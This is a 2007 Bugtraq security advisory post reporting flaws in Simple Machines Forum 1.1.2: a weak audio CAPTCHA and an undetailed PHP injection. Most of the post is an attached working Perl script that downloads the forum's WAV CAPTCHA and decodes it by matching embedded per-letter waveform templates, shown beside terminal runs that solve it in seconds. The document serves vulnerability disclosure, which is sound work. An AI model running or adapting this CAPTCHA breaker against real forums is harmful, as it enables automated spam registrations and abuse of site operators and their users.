ShAnKaR: Simle machines forum CAPTCHA bypass and PHP injection Jun 18 2007 09:49AM
3APA3A (3APA3A SECURITY NNOV RU)
Dear bugtraq (at) securityfocus (dot) com [email concealed],

ShAnKaR <shankar at shankar.name> reported vulnerabilities in Simple
Machines Forum 1.1.2 (aka SMF) http://www.simplemachines.org/

Original advisory (in Russian):
http://securityvulns.ru/Rdocument271.html

1. Weak sound-based CAPTCHA protection

In this engine sound CAPTCHA based automated registration protection
is implemented with a WAV file, generated by concatenation of few
different sound files. Developers use WAV file randomization, but
this randomization is insufficient and can be bypassed by
bruteforcing with known sound templates.

[blah@localhost smfh]$ ./captcha.pl http://localhost/smf/
nnrbv
created in 1.41827201843262 seconds
[andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/
vpubu
created in 1.49515509605408 seconds
[andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/
ntfhh
created in 2.31928586959839 seconds
[andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/
egudz
created in 0.823321104049683 seconds

As it can be seen, bruteforce usually takes only 1-2 seconds. See
script attached.

2. PHP injection

There is a possibility to execute any PHP code during creation or
editing of forum message.
(no further details is given by advisory author).

--
http://securityvulns.com/
/\_/ { , . } |+--oQQo->{ ^ }<-----+ | ZARAZA U 3APA3A } You know my name - look up my number (The Beatles)
+-------------o66o--+ /
|/#!/usr/bin/perl

########################################################

## SMF WAV capcha breaker from ShAnKaR ##

########################################################

die("Use capcha.pl http://localhost/smf/\n") if !$ARGV[0];

use Time::HiRes qw(time);

use LWP;

use HTTP::Cookies;

my $start_time=time();

our %all=(q=>'128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|125|12
5|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|12
5|125|125|125|125|125|125|125|125|124|124|124|124|124|124|124|124|124|12
4|124|124|124|124|124|124|125|124|125|125|125|125|125|125|125|125|125|12
5|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|12
5|125|125|125|125|125|125|125|125|125|125|125|125|125|125|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|127|127|127|',w=>'128|128|128|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|128|128|127|127|127|127|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|',e=>'127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|130|129|129|130|129|130|130|130|130|130|130|130|130|130|130|130|130|12
9|130|130|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|',r=>'128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|',t=>'127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|131|130|130|130|130|130|130|130|131|130|130|130|130|13
0|130|130|130|130|130|130|131|130|131|131|131|131|131|131|131|131|131|13
1|131|131|131|131|131|131|131|131|131|131|131|131|131|131|131|131|131|13
1|131|131|131|131|131|131|131|131|131|131|131|131|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|',y=>'128|128|128|128|128|128|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|127|127|127|127|127|127|127|127|127|127|127|127|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|126|127|127|127|127|126|126|126|126|126|126|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|128|128|
128|128|128|128|',u=>'128|128|127|128|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|129|',i=>'128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|',o=>'128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|',p=>'128|128|
128|128|128|128|128|128|128|128|128|128|128|128|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|125|125|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
',a=>'127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|127|126|127|126|127|126|127|126|127|126|127|126|132|127|129|13
2|130|128|126|129|124|124|128|126|125|130|128|127|128|127|127|124|125|12
4|122|124|125|124|125|126|125|125|126|124|125|125|125|126|127|127|129|13
0|130|132|131|130|131|130|129|129|128|127|126|124|124|121|120|117|117|11
4|129|138|116|141|142|124|133|130|121|121|116|124|121|120|137|134|132|14
2|135|134|132|131|132|119|131|132|124|134|132|130|129|127|123|118|111|11
8|111|132|138|',s=>'128|128|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|',d=>'128|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|128|127|127|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|',f=>'128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|125|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|124|124|124|124|124|124|
124|124|124|124|124|124|124|124|124|124|124|124|124|124|124|124|124|124|
125|124|125|124|125|125|125|125|125|124|125|125|125|125|125|125|125|125|
125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|
125|125|126|125|126|126|126|126|126|126|126|126|126|126|',g=>'128|128|12
8|128|128|128|128|128|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|125|125|125|125|125|125|125|125|125|125|125|125|125|125|12
5|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|12
5|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|12
5|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|',
h=>'127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|128|128|
128|128|127|127|127|128|127|127|128|128|128|127|128|128|128|127|127|127|
127|128|128|128|128|128|128|128|128|128|128|128|128|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|127|127|127|127|127|128|128|128|127|127|127|127|
127|127|127|',j=>'128|128|128|128|128|128|128|128|128|128|128|128|128|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|125|125|125|125|125|125|12
5|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|12
5|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|125|12
5|125|125|125|125|125|125|125|125|125|125|126|125|126|126|126|126|126|12
6|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|12
6|126|126|126|126|126|126|',k=>'128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|
129|129|129|129|129|129|129|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|127|128|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|',l=>'128|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|',z=>'128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|',x=
>'128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|128|12
8|128|128|',c=>'128|128|127|128|128|128|127|127|127|127|127|127|127|128|
127|127|128|128|127|128|128|128|128|128|128|127|127|127|128|128|127|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|129|129|
129|128|128|129|129|128|128|128|129|129|128|128|130|129|129|129|130|129|
129|129|129|129|129|129|129|129|129|129|129|129|130|129|130|129|129|130|
129|129|130|129|130|129|130|130|130|130|129|129|129|129|129|129|129|129|
129|129|130|130|130|129|130|130|129|129|130|129|130|129|129|130|130|130|
129|130|131|129|129|131|130|130|130|130|131|130|130|131|130|130|130|130|
130|130|129|131|130|129|131|130|130|131|130|130|131|130|130|130|129|129|
130|131|130|130|130|130|130|131|130|130|131|130|130|129|129|131|130|129|
131|130|130|130|130|130|131|129|129|130|130|129|128|131|130|129|129|129|
130|129|130|130|127|128|',v=>'127|127|127|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|130|13
0|130|130|130|130|130|130|130|130|130|130|130|129|130|130|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|12
9|129|129|129|129|129|129|129|129|129|129|129|129|129|129|129|128|128|12
8|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|12
8|128|128|128|128|128|128|128|128|128|',b=>'128|128|128|128|128|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|126|
126|126|126|126|126|126|126|126|126|126|126|126|126|126|127|127|126|126|
126|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|126|126|126|126|126|126|126|126|',n=>'127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|126|127|127|126|127|126|127|126|12
7|126|126|127|126|126|126|126|126|126|126|126|126|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|12
7|127|127|127|127|127|127|127|127|127|127|126|127|126|128|127|139|127|13
1|140|122|132|131|122|127|128|124|126|129|127|126|131|127|124|129|124|12
2|125|122|122|123|124|123|125|127|126|127|129|128|129|130|129|129|129|12
9|128|129|129|129|130|130|129|129|127|126|123|120|117|115|113|110|',m=>'
127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|127|
127|127|127|127|127|127|127|127|127|127|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|128|
128|128|128|128|128|128|129|129|129|129|130|129|130|130|129|129|129|129|
129|129|129|129|129|131|135|129|133|133|129|129|127|124|125|121|123|118|
119|118|119|121|141|125|128|145|125|125|131|121|121|121|124|127|124|135|
137|130|');

our %size=(q=>'4570',w=>'6902',e=>'3982',r=>'4146',t=>'4358',y=>'5160',u=>'4
358',i=>'3934',o=>'3792',p=>'3464',a=>'3860',s=>'4052',d=>'4476',f=>'393
4',g=>'5042',h=>'4570',j=>'5606',k=>'5394',l=>'4100',z=>'5230',x=>'4382'
,c=>'4428',v=>'5300',b=>'4640',n=>'3670',m=>'3934');

my $ua=LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);

$ua->cookie_jar(HTTP::Cookies->new());

sub parse{

my $filename=$_[0];

my $code='';

$con = $filename;

my @nb=('q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j'
,'k','l','z','x','c','v','b','n','m');

my $sx=0;

for($cont=0;$cont<=4;$cont++){

for($fd=0;$fd<$#nb;$fd++){

for($ds=700;$ds<=710;$ds++){

if($sx==0){

$rt=0;

}

else {

$rt=8;

}

$contents=substr($con,index($con,'data',0)+8+$sx+$ds*$rt);

$n=0;

$numb=$nb[$fd];

@ccc=($size{$numb},split('\|',$all{$numb}));

for($ff=0;$ff<200;$ff++){

$cc=ord(substr($contents,$ff,1));

if($cc>$ccc[$ff+1]-2 && $cc<$ccc[$ff+1]+2){

$n++;

}

else{

$n=0;

}}

if($n==200){

$n=0;

$sx+=$ccc[0]+$ds*$rt;

$code.=$numb;

if(length($code)==5){

return $code;

}}}}}

return $code;

}

$url=$ARGV[0];

for($s=0;$s<4;$s++){

$ua->cookie_jar(HTTP::Cookies->new());

$res=$ua->get($url.'/index.php?action=register');

$content=$res->content;

if($content=~m/index.php\?PHPSESSID=([^&]+)&action=verificationcode;
rand=([^;]+);sound/){

$sess=$1;

$rand=$2;

#print $sess.':'.$rand."\n";

if($sess && $rand){

$res=$ua->get($url.'/index.php?PHPSESSID='.$sess.'&action=verificationco
de;rand='.$rand.';format=.wav;format=.wav');

$code=parse($res->content);

}}

if(length($code)==5){

print $code."\n";

print "created in ".(time()-$start_time)." seconds\n";

exit;

}}

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus